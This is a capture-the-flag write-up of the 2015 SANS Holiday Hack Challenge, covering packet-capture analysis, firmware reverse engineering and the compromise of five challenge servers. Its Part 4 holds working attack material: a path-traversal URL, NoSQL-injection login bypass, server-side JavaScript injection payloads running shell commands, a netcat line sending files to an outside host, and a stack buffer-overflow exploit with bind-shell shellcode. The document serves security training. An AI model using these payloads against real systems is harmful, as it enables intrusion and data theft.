Gnome in Your Home: The 2015 SANS Holiday Hack Challenge
Write-up by Beau Bullock
@dafthack
Table of Contents
Gnome in Your Home: The 2015 SANS Holiday Hack Challenge
Table of Contents
Introduction
Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets
Part 1 Questions and Answers
Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit
Part 2 Questions and Answers
Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt
Part 3 Questions and Answers
Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage
SuperGnome-01
SuperGnome-02
SuperGnome-03
SuperGnome-04
SuperGnome-05
Part 4 Questions and Answers
Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution
Part 5 Questions and Answers
Epilogue: ‘Twas the Gnome Before Christmas: Wrapping It All Up
Appendix A: Organized Answers
Introduction
It was evident that the 2015 SANS Holiday Hack Challenge was the culmination of many hours of hard work by the Counter Hack Challenges team. This was by far the most interesting challenge I have participated in to date. For me personally, challenges like this that include specific goals along with subtle hints to point you in the right direction are where I end up learning new tricks and techniques the best. Also, it helped reinforce or refresh previously learned techniques that might need some dusting off.
Thank you Ed Skoudis, Josh Wright, Tim Medin, James Lyne, Stephen Sims, Phillip Smith, Jeff McJunkin, CHC, and any one else involved in the production of this challenge! It was epic.
This year’s challenge was based around the “Gnome in Your Home” (GIYH), a highly desired Christmas elf doll produced by the ATNAS Corporation. The GiYH was to be placed on shelves within the home of a family by parents who in accompaniment tell their children that the elf is watching them to report to Santa whether they have been good or bad. Every night the elf would “leave the house” to report to Santa and return in the morning to a different location. Children would wake up and then search the house in attempt to locate the new position of the elf. The GiYH had the ability to be powered to play 8-bit holiday music.
Duke Dosis and his children Joshua and Jessica are the primary characters of the story. Duke get’s very lucky early on in the story when he locates the last Gnome in Your Home in a store. He purchases it and brings it home to his children who are delighted at their father’s gift.
A few days later after the GiYH has been perched on shelves throughout the house is when Joshua Dosis notices something very peculiar about the wireless packets coming from something very, very nearby…
Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets
On the morning of December 10th, 2015 Joshua Dosis contacted me personally with a request for assistance in regards to analyzing a packet capture he had created. I questioned him on what he thought was interesting about the capture and why he was so anxious to analyze it. He went on to inform me that he believed that the popular Gnome in Your Home doll that his dad had recently purchased was transmitting a shocking amount of data.
As I too partake in the Christmas fun that is moving the Gnome in Your Home around my house for my two boys I had to see what he was talking about. I rushed straight over to his house on the corner of Einstein Blvd. and Lovelace Way. He greeted me and provided me with the packet capture he had taken.
The name of the packet capture file he provided was giyh-capture.pcap. On initial look at the capture some peculiar DNS traffic stood out to me. A large amount of what appeared to be Base64 encoded data was being sent within the TXT records of DNS requests. By filtering the packet capture on a source IP of 52.2.229.189 and Base64 decoding the TXT records what appeared to be commands sent to the Gnome were revealed! This indeed looked like a command and control channel as Josh feared.
The first command I noticed in the Base64 encoded command and control channel was ‘EXEC:iwconfig’.
The response to this command was revealed in the packets following the initial command and can be seen below. It appeared that the Gnome was connected to the DosisHome-Guest network!
EXEC:START_STATEEXEC:wlan0 IEEE 802.11abgn ESSID:"DosisHome-Guest"
EXEC: Mode:Managed Frequency:2.412 GHz Cell: 7A:B3:B6:5E:A4:3F
EXEC: Tx-Power=20 dBm
EXEC: Retry short limit:7 RTS thr:off Fragment thr:off
EXEC: Encryption key:off
EXEC: Power Management:off
EXEC:
EXEC:lo no wireless extensions.
EXEC:
EXEC:eth0 no wireless extensions.
EXEC:STOP_STATE
The second command is ‘EXEC:cat /tmp/iwlistscan.txt’.
In the response to this command appeared to be the results of scanning the local area for access points. It looks that the DosisHome-Guest network is open. The gnome must scan for access points in the area and connect to one that is open before it can establish its CnC channel.
EXEC:START_STATEEXEC:wlan0 Scan completed :
EXEC: Cell 01 - Address: 00:7F:28:35:9A:C7
EXEC: Channel:1
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=29/70 Signal level=-81 dBm
EXEC: Encryption key:on
EXEC: ESSID:"CHC"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
EXEC: 9 Mb/s; 12 Mb/s; 18 Mb/s
EXEC: Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=000000412e67cddf
EXEC: Extra: Last beacon: 5408ms ago
EXEC: IE: Unknown: 00055837335A36
EXEC: IE: Unknown: 010882848B960C121824
EXEC: IE: Unknown: 030101
EXEC: IE: Unknown: 200100
EXEC: IE: IEEE 802.11i/WPA2 Version 1
EXEC: Group Cipher : CCMP
EXEC: Pairwise Ciphers (1) : CCMP
EXEC: Authentication Suites (1) : PSK
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 32043048606C
EXEC: IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00
EXEC: IE: Unknown: 2D1A8C131BFFFF000000000000000000000000000000000000000000
EXEC: IE: Unknown: 3D1601080800000000000000000000000000000000000000
EXEC: IE: Unknown: DD0900037F01010000FF7F
EXEC: IE: Unknown: DD0A00037F04010000000000
EXEC: IE: Unknown: 0706555320010B1B
EXEC: Cell 02 - Address: 48:5D:36:08:68:DC
EXEC: Channel:6
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=59/70 Signal level=-51 dBm
EXEC: Encryption key:on
EXEC: ESSID:"DosisHome"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s
EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=00000021701d828b
EXEC: Extra: Last beacon: 4532ms ago
EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572
EXEC: IE: Unknown: 010882848B962430486C
EXEC: IE: Unknown: 030106
EXEC: IE: Unknown: 0706555320010B1E
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 2F0100
EXEC: IE: IEEE 802.11i/WPA2 Version 1
EXEC: Group Cipher : CCMP
EXEC: Pairwise Ciphers (1) : CCMP
EXEC: Authentication Suites (1) : PSK
EXEC: Cell 03 - Address: 48:5D:36:08:68:DD
EXEC: Channel:6
EXEC: Frequency:2.412 GHz (Channel 1)
EXEC: Quality=62/70 Signal level=-49 dBm
EXEC: Encryption key:off
EXEC: ESSID:"DosisHome-Guest"
EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s
EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
EXEC: Mode:Master
EXEC: Extra:tsf=00000021701d8913
EXEC: Extra: Last beacon: 5936ms ago
EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572
EXEC: IE: Unknown: 010882848B962430486C
EXEC: IE: Unknown: 030106
EXEC: IE: Unknown: 0706555320010B1E
EXEC: IE: Unknown: 2A0100
EXEC: IE: Unknown: 2F0100
Third command is ‘FILE:/root/Pictures/snapshot_CURRENT.jpg’.
Following when this command was run a very long string of Base64 Encoded data was returned. I cleaned this up by removing the data around what was actually in the TXT fields.
After cleaning it up I copied it into a text file.
I wrote a short script to base64 decode each line of the text file and output it to a file. As the command references what appears to be a JPG file I used this extension.
#!/bin/sh
cat pcap-cnc.txt | while read line
do
echo “$line” | base64 --decode >> out4.jpg
done
The jpg was still corrupted when trying to open it. Looking at the file in a hex editor it could be seen that the “FILE:” string was included throughout the data.
To get rid of the FILE: string I used sed.
sed ‘s/FILE://g’ out4.jpg > out5.jpg
After cleaning up the JPG the image that was transferred is revealed. The image was of the current GiYH’s location within Josh Dosis’ bedroom! At the bottom of the image was a banner stating “GnomeNET-NorthAmerica”. GnomeNET?!
I originally got involved only to help out a friend, Josh Dosis. But, as I too have a GiYH in my home watching over my kids now this is personal! There were many more questions that needed answering after finding out that these ‘novelty dolls’ were spying on all of us…
Part 1 Questions and Answers
1) Which commands are sent across the Gnome’s command-and-control channel?
EXEC:iwconfig
EXEC:cat /tmp/iwlistscan.txt
FILE:/root/Pictures/snapshot_CURRENT.jpg
2) What image appears in the photo the Gnome sent across the channel from the Dosis home?
The current location of the Gnome in Your Home in Josh Dosis’ Bedroom
Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit
I brought the image recovered from the packet capture to Josh. He was thankful of the work I had done but was terrified at how large of an operation this might be. Was ATNAS corporation spying on the world?
Josh informed me that his sister Jess had disassembled the Gnome and dumped the NAND storage. Talking to Jess in the room next door she confirmed what Josh said.
She asked if I could extract a password from the data dump. I told her we could get a lot more than just passwords! The file she provided was named giyh-firmware-dump.bin. I have been told that Jeff McJunkin is the local expert on reverse engineering firmware. I found him in the NetWars room where he is bound to eternal servitude. In order to get any information out of Jeff I was required to bring him a famous Jo-Mama’s cookie. There is only one place where one can find Jo-Mama’s cookies reliably… Ed Skoudis’ secret room within his secret room. After finding a Jo-Mama cookie here and giving it to Jeff he was more than willing to spill a wealth of information about reverse engineering firmware.
Jeff pointed me to a paper written by Neil Jones called Exploiting Embedded Devices. It can be found here: https://www.sans.org/reading-room/whitepapers/testing/exploiting-embedded-devices-34022
This paper was key in helping me reverse engineer the firmware. The first bit of advice is to utilize the tool ‘binwalk’ to extract any file systems from the image. I did this to find a Squashfs filesystem image.
Another tool mentioned in the paper is Firmware-modkit. Using the Firmware-modkit tool I was able to extract the file system from the firmware image. Firmware-modkit can be found here: https://code.google.com/p/firmware-mod-kit/
Running the following command extracted the firmware image and produced a filesystem directory ‘rootfs’.
./extract-firmware.sh giyh-firmware-dump.bin
Within the rootfs directory was a typical Linux-based file system structure.
In an attempt to find out what operating system this file structure was I looked for /etc/*-release or /etc/issue but neither were there. I did locate a file titled /etc/openwrt_release. The contents of this file indicate that this is an OpenWrt distribution. Specifically, it is one of the developer releases titled Designated Driver r47650.
Running the ‘file’ command against a binary from the file system reveals that the files appear to be built for a 64-bit OS.
In searching through the file system some more I located a gnome.conf configuration file as well as Gnome firmware release notes. The configuration file seems to indicate that each Gnome might have their own unique serial number.
Within the www directory I located what appears to be a Node.js file structure.
I located what appears to be a connection string for a Mongo database within the /www/app.js file. A possible username of ‘gnome’ and what appears to be a password hash was discovered.
Further investigation into the Mongo database, specifically accessing the /etc/mongod.conf file led me to finding database path of /opt/mongodb.
A great resource that assisted me in analyzing the MongoDB was a blog post by Josh Wright located here: https://pen-testing.sans.org/blog/2015/12/03/nosql-no-problem-pillaging-mongodb-for-fun-and-profit.
Looking at the files located within the /opt/mongodb directory are the actual database files.
Launching the mongo server from within the database directory I was able to interact with the two databases local, and gnome.
By utilizing the command ‘db.users.find()’ I found a cleartext admin password of ‘SittingOnAShelf’ in the Mongo DB. These credentials would most definitely be of use in our investigation of the GiYH spying activity.
Finally, within the /etc/hosts file on the system is an IP for a “SuperGnome”. The IP listed here was 52.2.229.189. This is the same IP that was discovered within the packet capture sending commands to the gnome. It would appear that the SuperGnome’s are the command and control server for possibly millions of other GiYH’s! Perhaps this IP might assist us in finding more SuperGnomes.
Part 2 Questions and Answers
3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
Operating system = OpenWRT Designated Driver r47650
CPU = 64-bit
Web framework = Express Web Framework
4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
MongoDB
SittingOnAShelf
Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt
I decided to pursue the idea of finding these other SuperGnomes. Looking up the IP address (52.2.229.189) listed in the /etc/hosts file from the firmware we had at censys.io, a site that scans the entire Internet daily, more information could be gained about the super gnomes. One thing in particular I noticed was the page title, it was “GIYH::ADMIN PORT V.01”. This system looked like it might be running a webserver on port 80.
It was likely that the other SuperGnome’s would have the same page title if they were running the same webserver. To try and locate the other SuperGnomes I submitted the page title (GIYH) found on 52.2.229.189 to the Internet search engine for connected devices, Shodan. Submitting the page title here resulted in locating four (4) additional systems that appeared to be SuperGnomes!
Looking at the locations of these systems as detailed by Censys and Shodan they each appeared to be located in various places on the planet. 52.2.229.189 appeared to be located in Ashburn, VA, 54.233.105.81 in Brazil, 52.64.191.71 in Sydney, Australia, 52.34.3.80 in Boardman, US, and 52.192.152.132 in Tokyo, Japan. This did indeed look like a global operation.
Once I located these IP addresses I quickly ran to the Great and Powerful Oracle, Tom Hessman to confirm these were definitely the SuperGnomes I was looking for, and that they were in scope. He confirmed that all five (5) were in scope.
Part 3 Questions and Answers
5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
52.2.229.189
54.233.105.81
52.64.191.71
52.34.3.80
52.192.152.132
6) Where is each SuperGnome located geographically?
52.2.229.189 - Ashburn, VA
54.233.105.81 - Brazil
52.64.191.71 - Sydney, Australia
52.34.3.80 - Boardman, US
52.192.152.132 - Tokyo, Japan
Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage
After I found the five SuperGnomes the Dosis’ kids asked me once again for help. This time they asked if I could assist them in exploiting the SuperGnomes. As enraged as I was about the news that my GiYH was probably spying on me and my kids everyday I didn’t hesitate to join in the Dosis’ pursuit for attribution. This would be no easy undertaking though. We had to devise a plan of attack against five (5) Internet connected devices.
We had the firmware from the GiYH we could analyze to help us find vulnerabilities in the SuperGnomes assuming they were built in a similar manner. We initially started with a goal to simply retrieve the /gnome/www/files/gnome.conf file from each SuperGnome but we ended up finding much more.
SuperGnome-01
52.2.229.189 - Ashburn, VA - SG-01
Navigating to the webpage at http://52.2.229.189 revealed a portal of some sort. I thought to myself that password reuse is a very big problem facing the world these days so why not try the credentials we already obtained from the firmware image. I was able to login with a username of ‘admin’ and a password of ‘SittingOnAShelf’. Upon logging in I had access to the pages of the web application.
The page at /cameras appeared to show live video feeds of other GiYH’s around the world!
The page menu at the bottom of the cameras page indicated that there are a total of 333,334 pages of cameras. If there are six cameras on each page that means there’s a total of 2,000,004 GiYH’s reporting back to the SuperGnome! Could there really be 2 million cameras in households around the world spying on everyone?
At the page titled gnomenet it appeared to contain a message board of current “GnomeNET” issues. Within this message thread two individuals “DW”, and “PS” are conversing about an issue where camera feeds are overlapping. DW states that he has uploaded a ‘camera_feed_overlap_error.png’ to the system. He also uploaded a still called ‘factory_cam_#.png’ to each SuperGnome. PS states that the camera feeds appeared to have been XORed. This might prove useful later on when we are working on attribution.
At the /settings page some configuration information could be found but was not too terribly useful for SG-01.
Located at the /files page were a number of interesting looking files. I could download all of the files from the SuperGnome after simply authenticating to the application. Some of the files included here were the gnome.conf file we were looking to obtain, a camera_feed_overlap_error.zip file, a factory_cam_1.zip file, an sgnet.zip file, as well as a file titled 201412261001055.zip.
Within the gnome.conf from this system was a serial number ‘NCC1701’.
SuperGnome-02
52.34.3.80 - Boardman, US - SG-02
Similarly to SG-01 I was able to login to the web portal at http://52.34.3.80 with the admin credentials found previously. For this SuperGnome however, downloading was disabled on the files page. An error message stating “Downloading disabled by Super-Gnome administrator” was displayed.
Something that stood out as being different about this web application from SG-01 was that the /settings page now included a file upload form. One could specify a destination filename and choose a file to be uploaded.
I went back to the firmware. I started noticing that within some of the source code were a number of edits and comments had been made. Looking at the code for the “camera viewer” in routes/index.js it can be seen that an edit was made to remove a section of code that would check that a “png” file was requested to the /cam page. Before the edit was made the application would accept a submission with .png anywhere in the name. I checked to see if perhaps this line of code was left in the SG-02 and it appeared so.
I began to wonder if there could be a way to exploit a local file inclusion “LFI” vulnerability in the cameras page due to this. I sought out the assistance of master of all things sushi Josh Wright. Upon finding Mr. Wright he had just consumed a not-so-tasty piece of sushi. He had me track down something to get the taste out of his mouth. I found a Candy cane just lying around on the ground outside. I dusted it off a bit and gave it to him. He was happy. He then explained in great detail how useful LFI vulnerabilities can be.
Following his sound advice I began experimenting with various ways to include the “.png” string in the directory name. In order to be able to provide a directory for a local file inclusion attack that contained ‘.png’ I utilized the settings upload page to create a directory called ‘.png’. The application created it at /gnome/www/public/upload/chvJuRvl/.png/.
All that was required next was to traverse directories to the new .png directory that was created, then traverse back to root directory ‘/’ and then to where the file I wished to access was located. The LFI proof of concept URL I used was the following:
../upload/chvJuRvI/.png/../../../../../../../../gnome/www/files/gnome.conf
This PoC allowed me access to the gnome.conf file. I also grabbed the factory_cam_2.zip and 20151201113356.zip files as well.
The serial number of this SuperGnome was XKCD988.
Two SuperGnomes down, three to go.
SuperGnome-03
52.64.191.71 - Sydney, Australia - SG-03
Unlike the previous SuperGnomes the admin credentials did not work here. I could login with a low-level user account called ‘user’ with a password of ‘user’.
The access level of the ‘user’ user is too low to view the files from the files page.
Accessing the files I wanted directly did work though. Using a URL like http://52.64.191.71/files?d=gnome.conf would initiate a download of the file. While it was possible to download the gnome.conf file this way I still couldn’t access the zip file that was previously found on other SuperGnomes as the name of the file contained a date.
It was clear I needed to escalate my privileges within the application somehow. In order to attempt gaining administrative access I analyzed the code snippet further. The LOGIN POST section of routes/index.js code included some interesting comments that made me want to pursue bypassing it.
I then sought out the help from Dan Pendolino. His advice to me was in regards to the MongoDB backend database and how SQL injection might be possible.
Dan mentioned that noSQL injection might be possible. I started by using json to submit the following to the application.
{
“username”: {“$gt” : “”},
“password”: {“$gt” : “”}
}
This resulted in having the same user access as the ‘user’ user. By adding in a regular expression to find user’s starting with the letter ‘a’ it was possible to gain access to the administrative account. Submitting this to the login page allowed for administrative access.
{
“username”: {“$regex” : “a”},
“password”: {“$gt” : “”}
}
After gaining administrative access via noSQL injection I simply rode on the session in order to access the files page and download each file.
The serial number from SG-03’s gnome.conf file was THX1138.
SuperGnome-04
52.192.152.132 - Tokyo, Japan - SG-04
As with SG-01, and SG-02 I was able to login to the web portal with the MongoDB credentials that were found in the firmware.
Trying download any files from the files page resulted in a “File not found or access denied!” message.
Something interesting about the files page for this SuperGnome was that it included an “Upload New File” function. One could upload files and choose a processing option.
Submitting a file and choosing to process it with the drop down menu creates a “postproc()” parameter.
I once again sought out the help, this time from the one and only Tim Medin. He was very cold when I found him. So I fetched him some hot chocolate from a house down the street. After he warmed up he provided all kinds of interesting ideas about Server-Side JavaScript Injection “SSJS”.
I set out on a mission to locate an SSJS vulnerability in SG-04. Searching the firmware for files containing “postproc” it is evident that /routes/index.js utilizes an eval() statement. Tim had mentioned that when a developer utilizes the JavaScript eval() method without validating the input it is vulnerable to SSJS.
Looking through the “FILES UPLOAD” code in routes/index.js I analyzed where the eval() was happening. It appeared to be taking the input of the postproc parameter submitted to the files page!
I found example SSJS attacks at this URL https://blog.gdssecurity.com/labs/2015/4/15/nodejs-server-side-javascript-injection-detection-exploitati.html.
One of the tests the article describes utilizes response.end to return a value within the vulnerable form. “I attempted to enter ‘postproc(‘timestamp’, response.end(‘testssjs’)) but got an error message stating “response is not defined”. I then tried “res.end” instead of response.end and received the reply I was looking for. Initially, this was just to get a response that echoed my input.
postproc(‘timestamp’, res.end(‘testssjs’))
The next step was to attempt to utilize this to read the /etc/ directory. This was accomplished by utilizing the readdirSync command as follows.
postproc(‘timestamp’, res.end(require(‘fs’).readdirSync(‘/etc’).toString()))
I then attempted to read gnome.conf using the readFileSync command. This worked perfectly.
postproc('timestamp', res.end(require('fs').readFileSync('/gnome/www/files/gnome.conf').toString()))
I used child_process and execSync to execute a command on the system. I executed the ‘id’ command and wrote its output to a file /tmp/id.txt
postproc('timestamp', res.end(require('child_process').execSync('id > /tmp/id.txt').toString()))
This file could then be viewed as well. The current user was gnome-admin.
I utilized Netcat to send the factory_cam_4.zip file and 2015120313815.zip files off of the system.
postproc('timestamp', res.end(require('child_process').execSync('nc -w3 <ipaddress> 80 < /gnome/www/files/factory_cam_4.zip').toString()))
The serial number of SG-04 was BU22_1729_2716057.
SuperGnome-05
54.233.105.81 - Brazil - SG-05
The web portal of SG-05 could be logged into using the admin credentials found in the firmware. Similar to SG-04, an access denied message would be displayed when trying to access any of the files on the files page.
Each of the other SuperGnomes had a characteristic about the web portal that was different. SG-05 did not appear to have any of the upload functionality or vulnerabilities discovered in the other SuperGnomes. I performed an NMap scan against the SuperGnome to see if perhaps any other ports were open. I was delighted to find out that a service was listening on port 4242.
I connected to 4242 on SG-05 with Netcat. Upon connecting I was prompted to enter an option. The following were the listed optins:
1 – Analyze hard disk usage
2 – List open TCP sockets
3 – Check logged in users
Selecting option 1 appeared to provide the output of the ‘df’ command. Option 2 would output the results of ‘netstat –ant’. Option 3 would output the results of the ‘who’ command.
It was not immediately evident whether a vulnerability could be exploited in what appeared to be a custom piece of software or not. This was going to take some serious work. I remembered that on each of the other SuperGnomes was a file called sgnet.zip that contained source code including C code called sgnet.c and sgstatd.c. Also, on the firmware image I located a binary called sgstatd in /usr/bin/. Launching this binary revealed that it was indeed the same application as I could now connect to it locally. I had the binary, and the source code for the software. It was time to go into full-on exploit dev mode. Before going on the journey that is exploit development I consulted the wise and powerful Tom VanNorman. He provided some awesome tips on attacking software and locating vulnerabilities.
To begin the process of locating a vulnerability in the sgstatd software I started by launching the software in the debugger ‘gdb’. I disassembled the ‘main’ function to get an initial look at what was going on in the software.
Looking at the source code file sgstatd.c I noticed something very interesting. The menu of options was a switch statement. Case 49 was option 1, case 50 was option 2, case 51 was option 3. But a fourth option was also included: Case 88. 49 is the decimal equivalent of ‘1’. 88 is the decimal equivalent of ‘X’. Let’s see what happens when we submit ‘X’ as an option.
Submitting an ‘X’ as an option reveals a hidden command entry dialog. It says to enter a short message to share with GnomeNet and that the function is protected.
I next used a tool called Checksec to see if the sgstatd executable had any security protections enabled. The Checksec tool reported that DEP was disabled and no stack canaries were found. Great I thought! If there are no security protections this should be a walk in the park.
I started up the sgstatd software, connected to it with Netcat, accessed the hidden menu with option ‘X’, and sent over 1000 A’s to it. On the server side where the application was hosted I noticed a message stating “Canary not repaired.” There does appear to actually be a canary of some sort despite the results of what Checksec tested against the program.
Looking at the code in sgstatd.c there is a function called sgstatd. Within this code snippet is a reference to a canary. It appears that the canary value that is being pushed to the stack is 0xe4ffffe4. It would appear that a hardcoded canary has been programed into the software. There is a section where the canary is apparently xor’d against what is in EDX.
Upon disassembling sgstatd with gdb it is possible to find the location of this xor operation in memory (0x080493b2). I set a breakpoint immediately before this operation at 0x080493af. As there is a fork() function that spawns a child process it was necessary to ‘set follow-fork-mode child’ in gdb. Otherwise, upon execution of the application gdb would not break on the memory address.
After some manual fiddling with the number of A’s I felt was necessary to not overwrite the canary I put together a short python command to send ‘X’ to enter the hidden command prompt, then send 103 A’s to it.
(gdb) b *0x080493af
python -c 'print "\x58" + "\x41" * 103' | nc -vv 192.168.1.34 4242
Upon submitting this payload the breakpoint was hit and execution was halted. Using the gdb command ‘x/20x $esp’ to examine the next 20 instructions above the stack pointer ‘esp’. Hitting ‘return’ examined the next 20 instructions again. Immediately following the A’s (41’s) the stack canary (0xe4ffffe4) is seen.
Next I crafted a python script to include 100 A’s, 4 B’s, and the canary to attempt overwrite. After the canary in the script I appended another 200 A’s. I broke within gdb again in the same spot to ensure the canary was in the right place.
python -c 'print "\x58" + "\x41" * 100 + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" +"\x41"*200' | nc -vv 192.168.1.34 4242
Submitting this command to the application results in overwriting the canary and we can see our A’s after the canary.
It is now possible to get the application to segmentation fault and overwrite the canary. The below python payload sends 50000 A’s to the sgstatd application after overwriting the canary. The server no longer complains about the canary not being repaired.
python -c 'print "\x58" + "\x41" * 100 + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" +"\x41"*50000' | nc -vv 192.168.1.34 4242
It was evident I was overwriting the stack pointer with A’s (0x41414141). I then tried to insert what appeared to be the return pointer following the canary by 4 bytes. The return pointer I used at the time pointed to the start of my A’s.
python -c 'print "\x58" + "\x41" * 100 + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" +"\x44\x44\x44\x44" + "\x82\xd2\xff\xff"' | nc -vv 192.168.1.34 4242
After verifying the return point I inserted some shellcode in place of the A’s. Immediately before the shellcode I added some NOP bytes to help slide into the shellcode. I was able to get a port to listen on the victim system with this script.
python -c 'print "\x58" + "\x90" * 16 + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" +"\x44\x44\x44\x44" + "\x12\xd2\xff\xff"' | nc -vv 192.168.1.34 4242
A very interesting thing happened next. After exiting the debugger and launching the application again this payload failed to work for me. It appeared that the memory addresses used previously were not the same as when I was debugging. This is a characteristic of ASLR protections. I verified that ASLR was in play by using ldd. The load addresses for the shared objects changed on each load indicating ASLR was indeed enabled.
When attempting to bypass ASLR one common technique is to search for ROP gadgets within the software. I used the tool ROPgadget.py to locate possible ‘jmp esp’ gadgets.
ROPgadget.py located a jmp esp gadget at 0x0804936b.
I modified my exploit code to include the following:
“X” ---- 100 “A”’s as a buffer ---- 4 “B”s to help identify end of buffer ---- “canary” ---- 4 “C’s” ---- “jmp esp address” ---- “shellcode”
The following script worked locally to set up a bind listener on port 9999. I was able to connect to it with Netcat and obtain the results of commands run against the test system.
python -c 'print "\x58" + "\x41" * 100 + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" + "\x44\x44\x44\x44" + "\x6b\x93\x04\x08" + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"' | nc -vv 127.0.0.1 4242
I then tested this code against the SG-05 but the port was not binding. I nmap’d the SG once again. Looking at the results port 80 and 4242 are clearly open. There also was port 5555 which had a status of ‘closed’.
Generally, when Nmap reports a port as ‘closed’ as opposed to ‘filtered’ or ‘open’ it means that the port was accessible but there were no services running there. I started to wonder if possibly an ingress filter was in place preventing access to the original port I attempted to bind to. I generated another bind shellcode with msfvenom this time for port 5555.
Using this shellcode within our payload results in a working exploit code!!! I could then Netcat to the remote SuperGnome on port 5555. There was a catch however that the connection only stayed open for 10 seconds so there wasn’t much time to grab files.
Below is the working exploit code.
python -c 'print "\x58" + "\x41" * 100 + "\x42\x42\x42\x42" + "\xe4\xff\xff\xe4" + "\x44\x44\x44\x44" + "\x6b\x93\x04\x08" + "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' | nc 54.233.105.81 4242
I was able to perform the command ‘cat /gnome/www/files/gnome.conf’.
Listing out the files in /gnome/www/files/ revealed the factory_cam_5.zip, and 20151215161015.zip files.
I transferred the 20151215161015.zip file and factory_cam_5.zip files off of the system using Netcat using the following commands:
listening server ---- nc -lvp 8080 > out.zip
Gnome server ---- nc -w 3 <listening ip address> 8080 < /gnome/www/files/20151215161015.zip
The serial number for SG-05 was 4CKL3R43V4.
Part 4 Questions and Answers
7) Please describe the vulnerabilities you discovered in the Gnome firmware.
SG-01 – Cleartext password disclosure of the ‘admin’ user in the ‘gnome’ Mongo Database. This password was reused on SG-01.
SG-02 – Password reuse again. Source code of the cameras page allows for inclusion of .png in the directory name to bypass the appending of .png to the requested file. The file upload capability of the settings page allows a user to create a directory titled .png. These two actions in turn allow for a local file inclusion vulnerability.
SG-03 – The authentication mechanism has a noSQL Injection vulnerability. This vulnerability allowed for bypassing the authentication process and escalation to administrative level within the context of the application.
SG-04 – The files upload page does not sanitize input to the postproc parameter. The JavaScript source code utilizes the eval() method on the backend for this parameter. This resulted in a Server-Side JavaScript vulnerability. Password reuse here again as well.
SG-05 – The sgstatd software running on port 4242 is vulnerable to a buffer overflow, canary overwrite, and ASLR bypass that results in remote code execution on the system. More password reuse here but wasn’t necessary for exploitation.
8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
SG-01 – Able to reuse the admin credentials to login to the web portal. This allowed for download of gnome.conf from the files page.
SG-02 – Password reuse again. I created a directory titled .png using the file uploads function on the settings page. I then utilized this PoC LFI code to grab gnome.conf:
../upload/chvJuRvI/.png/../../../../../../../../gnome/www/files/gnome.conf
SG-03 – I utilized a noSQL injection vulnerability to bypass the authentication mechanism and gain administrative access to the application. This allowed me to download the gnome.conf file.
SG-04 – I leveraged the Server-Side Javascript Vulnerability to read files from the OS including the gnome.conf file.
